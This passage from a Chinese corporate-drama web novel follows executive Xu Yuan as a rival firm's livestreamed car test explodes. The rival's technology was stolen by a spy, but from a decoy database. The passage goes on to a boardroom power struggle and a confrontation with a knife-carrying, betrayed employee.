不把盛世彻底按死,他们不会善罢甘休。 这项技术只能掌握在一家企业手中,恰如一山不容二虎。后续,莱蒂斯所属的企业一定会想尽办法让盛世破产。 “你让研发部全体职员今天中午在会议室集合,我们一起看直播。”许愿吩咐道。 “一起看直播?”助理迟疑开口:“许总,这样是不是不太好?大家会扎心的。” “你通知下去,每个人都要出席。”许愿态度强硬。 助理没有办法,只能闷声闷气地答应下来。 “要去公司了?”盛景炎问。 “嗯,我也休息够久了。”许愿贴在他唇边轻吻了下:“在家等我回来?” 盛景炎开口:“真的不需要我一起吗。” 许愿摇了下头:“我就是要让盛世那群人知道,没有你我一样能制住他们。” 这是需要要做的事,盛景炎不会给她添麻烦,他应了声:“我会在家里看直播,有事随时打给我。” 下午两点半,研发部全体职员聚集在会议室里,其中也包括陆飞博。 果然如许愿猜测的那样,警方找不到机密文件被盗窃的证据,只能放人。 按理来说,陆飞博可以请假,但他并没有。 他真正想看的不是莱蒂斯所属的企业大获全胜,而是许愿一败涂地。他更想知道许愿这样傲慢的人会不会在自己的迎头痛击之下跪地求饶?除了无能狂怒,她还能做什么? 那个画面光是想想就让陆飞博心情愉悦。 “许总。”小心翼翼地一声喊,打断了许愿与段星河的交流沟通。 两人转过头,看向走到近前的陆飞博。 许愿扫视众人,在座位的最后一排发现了李晓芸。 李晓芸此刻面容惨白,神情憔悴,看着陆飞博的目光里带着强烈的恨意。她是聪明人,都到这一步一定明白自己被陆飞博利用了。 李晓芸心里很清楚,虽然现在段星河还没有给她发辞退书,但她很清楚这份高薪工作自己保不住了。沾染了盗窃商业机密的污点,国内外任何一家研究所都不会接纳她。 她的人生将不可避免地滑向深渊。 陆飞博却完全不同,即使被盛世辞退,他也能出国。 甚至于他可能利用这些机密卖了个好价钱,想必他在海外企业拥有很多资源,甚至有可能被奉为企业英雄被莱蒂斯或者奥瑞亚家族追捧。 许愿看到陆飞博就觉得心里一阵反胃,但嘴角勾出的却是一抹温和浅笑。 第332章 直播 “小陆,你有事吗?” “许总,我想澄清一下,我真的没有盗窃公司机密。我跟李晓芸是正常的恋爱关系。” 说到这里,陆飞博脸颊微微泛红,羞涩地说道:“我发给她的邮件都是情书,没有木马。警察也检查过了,我们俩是没有问题的。许总,请您相信我们。” 装的多像啊,不知道的还以为陆飞博真的很无辜只是个陷入热恋的小青年呢。 许愿微微眯眼,没有说话。 段星河低声笑了笑,眸色很冷。 三人之间萦绕着一股诡异的氛围。 许愿知道陆飞博在演戏。陆飞博也清楚许愿知道自己在演戏。 不过那又如何?陆飞博想,胜利的一方即使在演戏在造假在做着毁灭别人的事,被毁灭的那一方也只能被迫接受。 盛世无力回天,许愿也不能力挽狂澜,她只能接受自己给予的一切。 陆飞博压低脑袋,在许愿看不见的角度,露出志得意满的笑容。 许愿斜倚着会议桌,双手环胸,意味不明地看着陆飞博黑漆漆的头顶。 她保持沉默,陆飞博就弯腰不起。 所有人都向这边张望,脸上有疑惑和紧张。 “你九十度鞠躬的姿势很标准。”段星河似笑非笑地说道。 许愿自然而然地接口:“应该是在海外企业深度学习过。” “据警方调查,你高中的时候去海外企业当交换生,你妈妈跟你一起去的。她在那边嫁给了一个外国人”段星河假装好奇地问:“你还是华国人吗” 陆飞博没说话,只是直起腰,定定看了段星河一眼,然后又弯下腰,九十度鞠躬。 这一次,他的姿势更标准,像是无声的回应段星河,他已经不是华国人了。 毫无疑问,这是挑衅。 一个已经入了外国籍的华人,哈,也亏得容浔能找到这样的人来做间谍,看来容浔也是被他耍了。 由此,许愿可以断定,陆飞博做得很干净,否则他不会这么明目张胆。警方那边大约不会有什么结果。 网络犯罪,取证是最难的,在全世界范围内,这都是一个尚未得到解决的问题。 许愿扬起头,看向大屏幕,语气平静:“看直播吧。” 段星河看着陆飞博的姿势脸色异常阴沉。 陆飞博瞥他一眼,轻笑道:“段老师我这样只是对您的敬重,如果惹您不开心了,您可以开除我。” 他任务已经完成,自然可以走人。被开除还能拿一笔赔偿金。 段星河猛地握拳,许愿却先一步开口:“小陆,你觉得你赢了吗。” 她微笑着开口询问。 陆飞博也回以微笑,但是内心却有点惊慌,被许愿这样的笑吓的,面对许愿他总是不敢放松警惕。 会议室的门被推开,陈飞豪带着一群高层走进来。看见许愿和陆飞博似乎是在对峙,他眸光微暗,脚步停顿。 盛衡从他身后绕出来,目光不善地盯着陆飞博。 看来陆飞博是重大嫌疑人的消息已经传遍了。 “你还敢来?”盛衡冷笑。 “盛先生,警方说我是清白的。”陆飞博低声解释。 “那是因为他们找不到证据。你以后小心点,说不定哪天走夜路,人就没了!” 陆飞博拿出手机操作一番,笑着说道:“盛先生,您的话我已经用手机录音,上传云端。以后我如果遇到不测,我的朋友会帮我报警,您是第一嫌疑人。” “你他妈找死!” 盛衡举起拳头,面容狰狞。 “够了!”陈飞豪语气冷沉:“看直播吧!” 盛衡指着陆飞博的鼻子面露威胁,继而看向许愿,诘问道:“许愿,陆飞博好像是你招进公司的?” 许愿没有搭理,只是仰头看向大屏幕。 盛衡又道:“你发的那条微博给了莱蒂斯灵感。现在他们比我们提前三天召开试车会,你满意了吧?你有没有发现,你的每一条决策都是错的?” 许愿脸上仍然带着笑意,却没有任何回应。 许愿的沉默以对让盛衡愈发恼火,他甚至觉得许愿就是个蠢货,他这样想的便已经转向陈飞豪怒问:“陈飞豪,就许愿这种蠢货,你还护着?” 陈飞豪全然不理,盛衡气的整张脸都红了,他是真怕盛世败了啊! 直播时间到了,莱蒂斯企业的新闻官走上台发表演讲,台下是来自于世界各地的新闻媒体,不远处是泥泞的赛道和一辆造型非常酷炫的越野车。 会议室里安静下来。除了陆飞博,所有人的目光里都夹杂着怒火。 莱蒂斯所属的企业的新闻官开始感谢一长串主办方。 “……新能源时代已经来临,我们的技术将改变世界。我们愿意与华国密切合作,一起开创这个新时代。我们已经在A市购买了一块地,用来建造世界上最大的汽车工厂。A市政府倾力支持我们……” 这句话在会议室内引发哗然。如果技术不被盗取,这家规模庞大的汽车制造厂非盛世莫属!政府也将给予盛世任何层面的帮助。 然而这一切,都已变成无耻之徒的战利品! 众人眼里的怒火几乎喷薄而出。 陆飞博站在许愿身边,不知有意还是无意,假装遗憾地叹出一口气。 许愿盯着大屏幕,完全不受干扰。她还是笑着的,像是在看笑话,又傲慢又冷淡,仿佛任何事都不被她放在眼中,好像一切都在掌握中。 陆飞博眼里闪过一丝挫败之色,看向气到脸色铁青的盛衡等人,这才微不可查地勾起唇角。他想要的优越感和成就感,似乎永远无法从许愿身上得到。 不过他相信,这都是暂时的。等见到棺材的那一秒,许愿一定会痛哭流涕。 “……各大金融机构慷慨解囊,目前已融资上百亿……” 莱蒂斯所属的企业的新闻官语调高亢,脸颊因兴奋而涨红。 会议室内响起一片粗重的呼吸声。恨之入骨,出离愤怒,原来是这种感觉。 陆飞博的目光扫过这一张张被怒火灼烧的脸庞,心中满是快意。最终,他的视线定格在许愿脸上,看见的依旧是似笑非笑的傲慢表情。 第333章 计谋 陆飞博内心的挫败感渐渐累积,越来越强烈。 “……我们将在全世界范围内招贤纳才,邀请有志者共创盛举!在此,我要感谢华国和各大金融机构的鼎力支持……” 这次就连盛明宇都听不下去了,骂道:“上面明知道他们是小偷,为什么还要支持他们?艹他妈的!” 骂归骂,但大家都知道,上面这样做也是无奈之举。为了把这项技术留在华国肯定要付出一些代价,利益上的交换无法避免。 打落牙齿和血吞,说的就是这种情况。 “……在此,我们要感谢研发团队的辛苦工作……” 盛明宇狠狠摔了桌上的一个茶杯,会议室里响起一片骂声。穿白大褂的研究员们一个个咬牙切齿,气得发抖。 辛苦工作的人到底是谁?偷窃了别人的成果,竟然还有脸说这种话! 李晓芸盯着陆飞博的后背,双眼几乎流出血来。她好恨! 大屏幕上,莱蒂斯所属的企业的新闻官朝远处的泥泞赛道伸出手,铿锵有力地说道:“列位,让我们一起来见证新时代的开启!” 震耳欲聋的掌声伴随着爆闪的镁光灯,像鲜花与烈火,热闹非凡地铺开在新闻官眼前。 直播间里不知不觉聚集了数百万人,密密麻麻的留言飞快划过。有人大声叫好,有人哀叹民族企业缺乏技术创新,还有人说华国又落后世界一大截。 看着那些留言,所有人都觉得不是滋味。悲哀夹杂着愤怒,凝聚成阴云笼罩着会议室。 盛衡恶狠狠地瞪向许愿,这个人管理不善,是罪魁祸首!如果不是许愿,一切都不会发生! 万没料到,在一片死寂之中,许愿竟然开始鼓掌,嘴角勾起一抹兴味的弧度。 “许愿,你疯了?”盛衡不敢置信地问。 反应过来之后,他瞪大眼睛怒问:“难道你是故意的?” 有那么一秒钟,陆飞博也产生了同样的怀疑。许愿的反应太不对劲!她怎么能为莱蒂斯获得的成功鼓掌?她到底站在哪一边? “好好看直播,更精彩的在后面。”许愿盯着大屏幕,语气里满是期待,她似乎已经知道了结局。 盛衡大步走过去,想揪住许愿衣领,却被段星河挡开,“盛先生,请你坐好。” 盛衡的腕骨差点被段星河捏碎,疼得面容扭曲,只能悻悻后退。 试车环节终于开始了,所有人都目不转睛的看着直播画面。 一辆黑色越野车轰鸣着冲入赛道,四个轮子急速转动,甩飞点点泥泞。强大的动能让陡峭的坡地都仿佛变成了坦途。 跑完风月山,这辆越野车将马上启程,开赴八百公里之外平底,路上二十四小时直播,让全世界都看看,这种新型车到底有多强。 由此可见,莱蒂斯底气十足。 “偷了别人东西,是小偷还这么得意,太恶心了!”台下不知哪个职员狠狠怒骂。 陆飞博回头扫视,目光里飞快闪过一丝嘲弄。 许愿瞥了段星河一眼。 段星河吊儿郎当地笑了笑他也开始鼓掌,片刻后才开口:“差不多了。” 他话音刚落,音箱里忽然传来轰鸣,大屏幕上全速奔跑的越野车竟然爆出一团红色火焰,黑色浓烟滚滚蒸腾,模糊了视野。 直播现场一片寂静,继而是惊骇的尖叫。莱蒂斯所属企业的新款能源车爆炸了! 驾驶员打开车门夺路而逃。 几名安全员拿着灭火器冲向事故发生地,却根本爬不上泥泞湿滑的陡坡。 “不要拍了,不要拍了!切断直播信号!”新闻官声嘶力竭地呐喊。 大屏幕上的画面定格一瞬,然后变成一片漆黑。直播结束得太突然。 会议室里安静得可怕,所有人都惊呆了。 陆飞博不敢置信地看着大屏幕,眼里是一片茫然。 刚才……到底发生了什么? 从爆炸部位看,应该是智能系统出了问题!可是他从李晓芸口中得知,段星河的新型智能已成功通过安全测试,绝对不会出错的! 为什么莱蒂斯用了会出问题?而且事故偏偏发生在直播当中? 想到许愿从始至终都没有露出过惊慌害怕的模样甚至是胜券在握看好戏的姿态。 一个可怕的猜测浮现在陆飞博脑海,令他寒毛直竖,脊骨发冷。 不会的,许愿怎么可能算到那一步?她就是个普通的女人啊! “发生什么了?”会议室内,有人恍惚地问。 “最关键的时刻,怎么没有直播了?妈的!”盛明宇懊恼地咒骂。 许愿淡淡开口:“我在现场安排了人做直播。我们换一个直播间。”她瞥向助理,助理连忙登录另一个直播间。 大屏幕上再次出现画面。 短短数分钟,莱蒂斯所属的企业的新款车竟然烧得只剩下一个骨架。 许多新能源领域的专家都在现场,对记者说,莱蒂斯研发的新款智能存在安全问题,具体原因还有待调查。 新闻官像只斗败的公鸡,站在一片泥泞中,昂贵的西装早已脏得一塌糊涂。 莱蒂斯派来的高层领导被世界各地的新闻媒体包围,追问各种令人难堪的问题。 总而言之,这次直播非但没有起到宣传作用,反而让全世界看了一个大笑话。 海外企业的股价飞涨了数日,却在这一刻开始暴跌。 陆飞博等待的是一场盛大的成功,迎来的却是一败涂地。他脑子眩晕,身体发软,心脏跳得太快,几乎爆烈。 他隐隐感觉到,自己似乎落入了一个致命的陷阱。 许愿的话很快佐证了他的预感。 “公关部经理在吗?” “在!许总您找我有什么事?” “现在就发微博,宣布盛世集团新型智能技术被外国企业盗取的消息。不要提莱蒂斯,我们没有证据,容易被反诉。你把新型智能的参数发到网上,网友们两相对照,自然会懂。” 公关部经理飞快记笔记,眼里冒出兴奋的光。 她终于理解了许总的思路。 “你还要强调,那家外国企业偷走的是假技术。” 第334章 对你看到的结果还满意吗 “段老师在资料库中设置了反制系统。那家外国企业聘请的黑客进入的是反制系统,偷走的是一堆废物。按照反制系统里的虚假资料制造新型智能,发动机耗能过大的时候,容易引起爆炸。” 公关部经理手一抖,写歪了一个字。 反制系统是一种防止黑客窃取机密文件的手段,即创造一个假的数据库,叠加在真的数据库之上。黑客入侵之后往往不辨真假,钻入陷阱。 搞了半天,公司机密从一开始就没泄露! 难怪莱蒂斯的汽车开着开着就爆炸了! 我靠,难道这些都是许总一早算好的! 强啊!简直太强了! “我联系到海外企业开除的几个研究员。我把他们的联系方式给你,你安排直播采访。他们知道莱蒂斯企业很多黑料。莱蒂斯用劣质钢材造车,新车没有经过安全测试就投放市场,引发了几起重大事故。莱蒂斯买通受害者,隐瞒了消息。采访稿一定要侧重于安全问题,明白吗?” 许愿打开手机,给公关部经理发去几个电话号码。看来许愿早有准备。 对于如何操控舆论许愿比任何人都清楚。 她就是要故意这段时间被人辱骂,趁着所有人都在关注这件事的时候来一场爆炸性新闻。 会议室里安静地只剩下许愿一个人的声音。 公关部经理埋头记笔记,手在发抖。她预感到,对盛世来说,这不是一次危机,而是一个重大机遇!许总从一开始就完完全全掌控着全局。 难怪所有人都急了,许总还这么稳! “再发一条公告,就说三天后,盛世举办的试车会将在路上进行直播,我们的行进路线也是风月山且无镜头转换全程直播” “好好好,我马上安排。”公关部经理兴奋得脸颊涨红。 许愿看向陈飞豪,问道:“陈总,公司还有多少流动资金可以用?” 陈飞豪回过神来,说道,“我让财务把报表发给你。” 数秒钟后,报表如期进入手机。 许愿垂眸看了看,轻笑道:“接下来我会使用盛世的流动资金做空莱蒂斯的在国内的企业,吃掉它在华国的全部产业。它在A市买的那块地,我要了。它准备筹建的世界最大工厂,我要了。它筹集的上百亿融资,我也要了。” 话音未落,会议室里已响起一片抽气声。 谁都没想到许愿竟会这么狠,手段更是毒辣地令人胆寒! 陆飞博撑住会议桌,防止摇晃的身体瘫软下去。他抬起头,看向许愿,露出一张冷汗淋漓,深埋恐惧的脸。 他到底是算错了哪一步? 许愿是不是早就知道了他的身份?他一早就进入了许愿设下的陷阱。 许愿交代的事, 一桩桩一件件, 都被有条不紊地执行下去。 如果她被董事会停职,善后工作交给盛衡这样的人来做,局势逆转的这一刻,谁能做出如此高效的决策? 陈飞豪低头揉捏鼻骨, 眼里带着恍然。 他的猜测是正确的, 许愿果然早有安排。他唯一能为许愿做的,不过是在董事会即将罢免许愿的时候站出来, 毫无保留地支持对方。 如今想来, 当初发送许愿跟宋观鱼亲密视频的恐怕也是莱蒂斯雇佣的黑客。 促使盛世与许愿反目成仇, 这就是那些人想要达成的目的。 陆飞博此刻整个人已经彻底傻了。 他呆呆地听着许愿发号施令, 眼睁睁地看着这个人做出一条又一条足以摧毁海外企业的决策。 直到此时他才明白, 为什么许愿会为莱蒂斯获得的巨大成功鼓掌。 因为许愿知道,这些胜利的果实,连同装载果实的这个庞然大物,都是她可以一口吞下的猎物。 看见猪圈里的猪长得膘肥体壮,养猪人也会像许愿一样欣喜。 难怪许愿坚持要在风月山进行试车。这是激将法,也是请君入瓮。他知道莱蒂斯为了打击盛世,必然会先发制人。 汽车翻越风月山的时候需要强大动能,莱蒂斯仿造的智能正是因为这个缺陷,在众多直播镜头的见证下,炸成了一朵烟花! 全世界人民共同见证了莱蒂斯的失败。 许愿立刻跟进,公布真相,于是莱蒂斯又被千夫所指。 华国确信新型智能技术未被盗走,必然会掉转头来支持民族产业。全球独此一家的高端技术,怎么可能让外国人拿走? 在国内机构的全力配合下,许愿想要打垮海外企业的股价,吞并海外企业在华国的产业,简直易如反掌! 以上的每一步,都是许愿预先算好的。陆飞博以为自己是执棋人,到头来才发现,许愿不过把他当成一颗棋子罢了。 难怪许愿脸上总带着似笑非笑的傲慢表情!难怪他从头至尾半点不慌!难怪他看着自己的目光带着居高临下的轻蔑! 正如那天在报告会上,许愿把陆飞博看作跳梁小丑。之后,两人的身份就一直没有改变。许愿是看客,是操盘手,是话事人,陆飞博的角色自始至终都是丑角。 陆飞博死死盯着许愿,愤怒几乎化为实质。然而这种愤怒,对许愿构不成任何伤害。 他想看许愿无能狂怒的丑态,结果陷入这种境地的人,反倒是他自己。 陆飞博抖着手,拉开一张椅子坐下。他已经站不稳了。 始终斜倚着会议桌的许愿也拉开一张椅子落座,她此刻懒洋洋的,轻飘飘地瞥向站在一旁的盛衡。 “盛先生,对你现在看到的结果还满意吗。” 她是在故意嘲讽了。 她淡红的薄唇勾出一抹玩味的弧度。 毫无疑问,这是嘲讽,也是一个胜利者对失败者的挑衅。 盛衡脸色铁青,面皮微抖,敢怒而不敢言。 如果一切按照许愿的计划推进,短则一两个月,长则半年,盛世必然能吞掉莱蒂斯在华国的产业。统领全球市场,盛世目前还做不到,但独霸亚洲市场肯定是轻轻松松,毫无压力。 这是多大的功劳? 莫说盛衡得罪不起许愿,就是周围这些大股东,见到许愿也得点头哈腰,露出伺候财神爷的谄媚笑容。 不管心里有多气,盛衡都得硬生生忍耐下去。 第335章 反转 现在不管心里有多气,盛衡都得硬生生忍耐下去。 见他站在原地始终不动,一名头发花白的大股东狠狠瞪他一眼,暗示性地咳了咳。 陈飞豪就站在原地看着这一幕,他清楚盛衡内心对许愿的不满,但现在许愿想要威慑的人是盛衡,他自然不会插手。 段星河坐在许愿身边,翘着二郎腿,脸上满是戏谑的笑容。 盛衡身体僵硬的站着,根本没有任何回应。 让他在许愿面前低头,实在是太难为他。 许愿笑而不语,她偏头看了眼段星河,拿起桌上的一份文件,缓缓开口:“谁随身带了钢笔,我有些注意事项需要填写。” 任谁都看得出来许愿是故意这个时间提到这个的,她就是在为难盛衡,逼着盛衡低头。 盛衡身体僵硬的摸了摸自己的衣服,没摸出钢笔,有些尴尬的感觉到周围的人都在看自己,身体硬的更厉害了。 一名大股东躲在人后,狠狠戳了一下盛衡的腰眼。 研发部所有职员都在看着这场无声的交锋。 盛衡想要取代许愿,甚至干掉陈飞豪换盛明宇上台,且这个计划而且差一点就成功了。但可惜一切都在许愿的计划之中,他的野心,都在此刻宣告破产。 “你问问周围的人,看看谁随身带了钢笔。你找他们借一下!”一名股东低声提醒。 这时候不低头还等着什么时间低头? 许愿都已经给台阶还不赶紧下! 股东里面已经都看不惯盛衡了,他一直都最喜欢搞分裂。 “别忘了,你跟陈总签了协议!以后你能不能在盛世待下去,只是陈总和许总一句话的事!”又一名股东缓缓开口。 盛衡瞳孔一缩. 确实是这样,他怎么忘了他跟许愿和陈飞豪签署了协议,他可不想真的把股份卖给陈飞豪或者许愿被完全踢出局。 如果他被踢出局,就盛景炎那个恋爱脑疯子,盛世到底是姓盛还是姓许!他不能接受盛世真的改姓! 盛衡连连深呼吸好半晌这才僵着脸看向周围的职员,沙哑的嗓音饱含屈辱:“你们谁有钢笔?借我用一用!” 明明是许愿要钢笔,却让他去借钢笔,这是服从性测试,也是故意的在针对他。 他明明知道这一切,现场所有人也清楚许愿为什么这样做,但没人会帮他说话。 许愿让他们看到了价值,他们愿意捧着许愿给她所有她想要的。 盛衡暗自咬牙只觉许愿干掉敌对公司的手段非常狠辣,打压同僚的本事更是炉火纯青,可偏偏他却只能低头。 许愿凭什么这么狂?盛衡在心里狠狠咒骂,十分怨愤不服。 陈飞豪幸灾乐祸地笑了笑,他才是最聪明的,打从一开始知道对手是许愿就退让了,所以才上了许愿的船跟她成了一条船上的人,跟许愿是一条船上只要无条件相信许愿就够了。 陈飞豪满眼意色的看着盛衡,等着盛衡低头。 “盛先生,我有钢笔。”一名职员小心翼翼举起手。 “借我用一下。” 盛衡接过钢笔,走到许愿面前。 许愿慵懒地仰靠在椅背上,一只手搭着桌沿,一手翻看这文件,抬眸时眼底星芒闪烁。 她在笑,神情很是戏谑,带着轻微的嘲讽之意。 盛衡铁青的脸慢慢涨成猪肝色。 没有哪一刻比现在,更让他感到屈辱和愤怒。偏偏他还不能发作,因为他没有立场,也不被周围人所容忍。 许愿带给盛世这样大的利益,她不过是让他拿跟钢笔怎么了,在这群唯利是图的疯子眼里就是许愿今天就要盛世改姓他们都能举手欢呼的同意鼓掌。 盛世所有的高层几乎都在现场,许愿现在打盛衡的脸就是杀鸡儆猴,她要让这群人知道,她不是好招惹的。 盛衡僵硬地站了一会儿,拧开钢笔盖,将钢笔递到许愿手边。 许愿微微一笑,笑意温婉的接过钢笔:“谢了盛先生。” 她这副模样是半点都看不出许愿内心的桀骜气,倒显得她温柔体贴,反衬得盛衡愈发无理取闹。 盛衡连忙直起身脸上露出极度难堪的表情。 许愿在文件上签了个字,然后轻笑一声。 所有人都在看他,目光里带着崇拜,忌惮,仇恨或者愤怒,但许愿全然不在乎。 陈飞豪竟也被他的笑声感染,情不自禁地勾起唇角。 段星河缓慢拊掌,跟着朗笑。 他们都在笑,现场的人都给面子跟着笑,笑声愈发大了,他们是为了这次反杀莱蒂斯而高兴。 所有人都开始笑,陆续鼓掌,发出喧哗,原本气氛压抑的会议室此刻洋溢着一片欢腾。 直到这一刻,大家才终于产生了大获全胜的实感。 许愿点了点大屏幕,语气慵懒:“看直播吧,后续也很精彩。把茶水和瓜子端上来。” “好嘞许总!”助理高高兴兴地跑出去。 大屏幕上,死里逃生的海外企业车手正在接受采访。 这次试车,所有重要岗位上的工作人员都是海外企业的员工,华国人多看汽车几眼都会被保安驱赶。 排场搞得这么大,莱蒂斯集团还真当智能系统是他们发明的,生怕别人偷去。 不过这也很合理。小偷看谁都像小偷。 “我也不知道爆炸的原因是什么,我一脚油门踩下去,就听见后备箱传来巨响!智能系统没有任何反应它没有帮我停车是我自己停下引擎跳下车。幸好我是特技车手,很有逃生经验,换成普通人早就被烧死了……” 车手毫无保留地讲述着这次可怕的经历。 许愿抱着手臂看着视频里的车手淡淡说道:“这个记者是我安排的,车手的好处费我也给足了。我们让他们说什么,他们就会说什么。” 陈飞豪赞许道,“做得好。” 其余股东或高层噤声面面相觑,却是什么都不敢说。 直到今天他们才想明白,许愿当初为什么不愿停职。如果没有陈飞豪和盛景炎的力保,许愿布置的这些连环局怕是一个都用不上。 第336章 盛世迟早要改姓 不在其位不谋其政,他们想管也管不了,甚至完全不清楚许愿设下的局。 当初盛衡差点把许愿踢出局,坏了公司大事,几位股东看向盛衡的目光都已带上厌恶和谴责。 莫说抢走许愿的位置,盛衡以后能不能继续待在领导层都是个未知数。 盛衡派系的人脸色灰败,已是魂不守舍。 直播现场响起警报声,消防员赶到了。 会议室内却接连传来嗑瓜子的咔擦声。大家都很轻松,时不时哈哈大笑几声。 又有几个职员把脑袋凑在一块儿,开始谈论今年的年终奖,还有人打算明年买房买车气氛非常欢乐。 不少人把怀疑的目光投向陆飞博,暗暗揣测对方是不是海外企业间谍。 躲在最后一排的李晓芸忽然站起来,挤过一个个座位,眼睛死死盯着陆飞博的背影。 许愿微微皱眉站起身说道:“李晓芸,你跟我出来一下。” 不知何时已经站在陆飞博身后的李晓芸呆住了,插在衣兜里的右手猛地颤了颤。 陆飞博回过头,看见不知何时悄然来到自己背后的李晓芸,不免吓了一大跳。这人刚才想干什么? “出来!”许愿加重语气,眼神犀利,李晓芸一时心惊,连忙跟出去,脑袋埋在胸口。 路过那名借钢笔的职员,许愿随手递过去道了声谢。 重新拿回自己钢笔的职员整个人一时都有些呆呆傻傻的半天回不过神来,直到身旁的人晃她,她才回过神:“你说我拿回去供着这根钢笔怎么样,这可是许总用过的钢笔,以后我有了孩子就送给她让她用这根钢笔,我求的不多,能像许总三分都是好的!” “疯了吧你,许总那都快堪称全能了,像许总三分那怎么都是天才了,哎哎哎,快给我摸摸这钢笔,这可是许总用过的……” 几个职员笑呵呵的,盛衡冷眼看着这一幕忍不住嗤道:“一群没见识的蠢货。” “她们是蠢货那根许愿打赌的你是什么?”陈飞豪的父亲在一旁泼冷水:“你岂不是连蠢货都不如。” 盛衡气的脸都红了。 “许愿上位你有什么好得意的,她一个女人踩在我们所有人头上,以后盛世都要改姓许,真到了那一天我看你还怎么笑得出来!” 陈父毫不在意淡淡道:“盛世改姓我有什么好伤心难过的,盛世又不姓陈,我又不是你。” 盛衡破防了。 是,盛世姓盛,陈飞豪他老子生什么气!也就盛家人才会生气! “你就甘心让一个女人踩在头上!”都到这时候了盛衡还在不甘心的挑拨。 陈父毫不在意的看他一眼:“她什么时候踩我们头上了,也就踩了踩你,我儿子跟着她不是挺好的?职位都升了,在盛世实权也有了,不比你家盛三盛明宇的时候好多了?那时候盛世才是乌烟瘴气。” “许愿再如何,她让我们看到了切实的利益,我们分到了更多的钱,至于你说的那些空话……呵,你给好处你给得起吗。” 陈飞豪的父亲也算是看明白了,许愿有能力有手段有人脉,跟她作对的人才是没脑子,只要跟许愿一条船上哪怕摆烂都有钱拿,他也是一把年纪了,自己儿子被许愿看重升职了那就挺好,他可不会像盛衡这样继续犯蠢跟许愿作对。 许愿和李晓芸出去了,会议室内气氛登时有些古怪。 陈飞豪站起身,想追出去查看情况,却被段星河拉住:“许愿用不着你帮忙,她在做什么她比任何人都清楚。” 陈飞豪想了下,确实是这样。 段星河放开手,磕起瓜子,语气吊儿郎当:“看直播吧。今天可是公司团建。” “也行。” 听见两人毫不在意的对话,陆飞博差点咬碎满口牙齿。 这些人竟然把毁灭一家公司的行径视作团建?他们太狂妄了! 可是……可是他们如此狂妄他却根本无力反驳,只能恨恨的咬牙,恨自己无能! 昏暗的楼梯间内。 许愿和李晓芸才到楼梯间,许愿便扫了不远处的一眼,两名保安立刻走过来制住李晓芸,语气严厉:“把你口袋里的东西拿出来!” 李晓芸半天不动,脸色惨白。 怎么会…… 怎么会被看穿的。 李晓芸唇瓣都在发抖,她怯生生的看着许愿一时整个人都僵住了没有动作。 一名保安反扭她双手,另一名保安从她口袋里掏出一把锋利的水果刀。 看到这一幕许愿眸中闪过一抹寒芒。 “你想在公司里杀人?你知不知道新闻会怎么写?今天本该是盛世的狂欢,但会因为你脑子一热所犯下的过错,公司会陷入舆论风波甚至可能被制裁!你在愤怒你在生气你也清楚因为陆飞博给公司添了多少麻烦,你害的公司险些破产,你知道全世界范围内,盛世拥有多少员工?” 李晓芸双眼灰暗整个人似乎都在发抖。 “这么多人差点因为你失业,你现在知道后果有多严重了吗?”许愿接过水果刀,眼里怒火升腾。 李晓芸愣了好一会儿才低下头,忏悔道:“许总,对不起。” 她怎么不清楚。 能进入盛世的都是精英,那些人努力读书进入盛世,他们对未来满怀憧憬,但却因为她一时的失误可能被毁掉一切,只是想一想她心里都是凉的,愧疚感也油然而生。 “对不起没有用,你被开除了。”许愿警告道:“不要再给公司惹麻烦!” 李晓芸僵在原地,她几乎不敢相信许愿能说出这句话。 许愿朝出口走去。 “不公平!”尖利的嘶喊忽然从背后传来。 声波震动,点亮了上下几层的感应灯。 惨白的光,把李晓芸沾满涕泪的脸照得更加凄惨。 “许总,你不是最能共情女性的吗?你不是最同情女人吗,你知道我这些年努力读书就是为了一个好前程,初中高中大学我都在努力读书,我好不容易才拿到段老师那里的邀请函进入他的研究室……你不能,不能就这样轻松的开除我赶我离开研究室!” 第337章 过好你自己的生活 “我要见段老师!我要见段星河!你没有权利开除我!只有段老师有权利让我离开!” 李晓芸不甘心! 她这么拼命努力的读书就是为了有个好前程,而不是自己美好人生才刚开始的时候就被踹进泥潭重新开始。 “不容易,你终于想起自己这些年是怎么一步一步爬上来的。” 许愿望向她,眼神里是刻骨的凉意。 “同为女性,我当然知道你一路走来有多难,可你在恋爱脑被人欺骗的时候为什么没想过这些?你在被陆飞博设计的时候为什么没有想过这些,你满脑子都是男人,你什么时候想过自己?” “哪怕是我再爱一个人,也不会为了那个人完全的丢掉自己的事业自己的自尊,我爱他但我同样爱我的事业,如果两者之间只能选择一个,那你该考虑让你做出这种选择的男人真的配的上你的爱吗。” “如果他的爱那么纯真那么赤诚,又为什么会让你在事业和金钱中做选择。” “你是高材生,我不相信你真的想不通这些,你想通了,但你就是要自我欺骗,骗自己他们爱你。” “是你自己放弃了你自己选择了那些没用的男人。” 许愿一字一句言辞犀利,像刀像剑狠狠戳到她心口。 李晓芸几乎泪流满面。 是啊,她那么聪明,怎么看不透那些男人想要什么呢? 可她就是天真的认为自己能得到爱。 上一段感情对方只看中她的金钱,这一段感情陆飞博在乎的是更深远的利益,她不是没想过自己这副模样怎么会有人一见钟情……可她偏偏就是喜欢做梦。 许愿眸光淡漠的看着她。 “你自己都不肯救你自己,是你自己害了你自己。” “你明明什么都知道,你什么都知道……为什么不肯提醒我,为什么不肯帮我……” 李晓芸还想要继续甩锅,她不认为全都是自己的错。 许愿看着她,眼底的凉意愈深。 “我没有提醒你吗。” “李晓芸,你再好好想想,我又没有提醒过你。” 李晓芸这次说不出话了,许愿确实提醒过她,在实验室的时候提醒过无数次不要接收外来信息,甚至在开会的时候讲过几个被爱人背叛的小故事,就是在内涵陆飞博,偏偏她还当自己陷入热恋无法自拔。 许愿的话没有说错。 她是个蠢货,是个彻头彻尾的蠢货! 李晓芸颤抖的半蹲下身几乎要痛哭出声。 可许愿并没有同情她,她冷眼看着此刻痛彻心扉的李晓芸开口。 “你口口声声说段星河才有资格辞退你,那么你还记不记得你害的段星河险些成为笑柄。” “所以你有什么资格一遍又一遍的提起段星河,你配提他吗。” 李晓芸终于忍受不住的嚎啕大哭。 她不配,是她害了段星河,一切都是她的错。 她眼神几近疯狂,对陆飞博的恨意逐渐升腾奔涌。 “我到这一步活不下去了,为什么陆飞博一点事都没有?我会变成这样,都是他害的!我要被辞退了那陆飞博也不能有好下场!他不能有好下场!” “许总,陆飞博就是海外企业间谍!他才是那个盗窃贼卖国贼!他才是莱蒂斯和奥瑞亚的人!离开公司前让我帮段老师做最后一件事,我要让他偿命!我不能眼睁睁看着他逍遥法外!他要付出代价!他必须为此付出代价!” 